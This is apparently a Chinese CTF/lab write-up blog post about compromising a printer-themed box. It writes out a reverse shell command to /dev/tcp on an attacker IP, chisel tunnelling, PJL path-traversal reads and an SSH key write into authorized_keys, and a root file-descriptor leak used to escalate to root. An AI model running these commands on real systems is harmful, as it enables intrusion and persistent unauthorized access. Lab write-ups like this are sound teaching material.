type
Post
status
Published
date
Jul 30, 2026
slug
summary
tags
category
CTF-WP
category (1)
icon
password
comment
先用fscan进行扫描端口和漏洞探测fscan -h 10.129.248.117
notion image
找到有网站,就先去进行访问
notion image
去谷歌搜索rfc 1179 exploit得到exp利用脚本
打开本地监听nc -l 4444
然后运行pocpython poc.py 10.129.248.117 -q archive_intake -c 'bash -c "bash -i >& /dev/tcp/10.10.16.75/4444 0>&1"'
最后成功反弹shell
notion image
但是目前的用户是lp无法获得user flag
查看进程ps -ef | grep python 查看监听的端口netstat -tlnp
notion image
发现了本地的可疑的9100端口,应该是pjl服务
先列举用户
notion image
看到有archivist用户,想着用pjl的任意文件上传上传ssh_key然后登陆
先用chisel吧内网的9100端口代理出来使得攻击机能够访问
攻击机chisel server --reverse --port 1334
靶机./chisel client 10.10.16.75:1334 R:19100:127.0.0.1:9100
先用pjl服务进行任意读取,读取9100端口的jetdirect.py,exp如下
读取出来相应的pjl服务的代码
python3 pjl_read.py 127.0.0.1 19100 '0:/../../../../home/archivist/printer/jetdirect.py
然后根据pjl的服务代码编写pjl任意文件写入的exp
创建ssh密钥对
ssh-keygen -t ed25519 -f ./archivist_lab -N '' -C 'lab-access’
上传公钥
python3 pjl_write.py 127.0.0.1 19100 archivist_lab.pub '0:/../../../../home/archivist/.ssh/authorized_keys’
然后通过私钥登陆相应的用户
获得对应的用户flag
notion image
查看进程中另外一个可疑的文件/usr/bin/paperwork-daemon
关键漏洞在这里:
root 进程先打开了敏感文件。然后检测到恶意 PJL 命令后:
它把 log_fdadmin_fd 通过 UNIX socket 发给你。你虽然不能直接读 /etc/paperwork/admin_pins.conf,但是可以读它泄漏出来的 fd。
先确认你是 archivist
如果你还是 lp,需要先用前面的 PJL 写 key 登录 archivist。因为 socket 是:
也就是 root 用户、GID 1000 可访问。archivist 的 gid 正好是 1000。
然后确认 socket:
应该类似:
notion image
如果日志已经有你之前的 PJL 操作,比如 FSUPLOAD,可以直接利用。如果不确定,再触发一次:
然后在靶机 archivist shell 上写 exploit:
执行exp得到密码
notion image
执行su root ,输入获得到的密码
notion image
提权成功拿取flag
notion image
notion image
 
0xGame2024自编码器(AE)与变分自编码器(VAE)的区别
Loading...
公告
🎉qetx新博客已经上线🎉
-- 感谢您的支持 ---
这里会有什么?
ctf知识
RL学习笔记
有趣的生活日常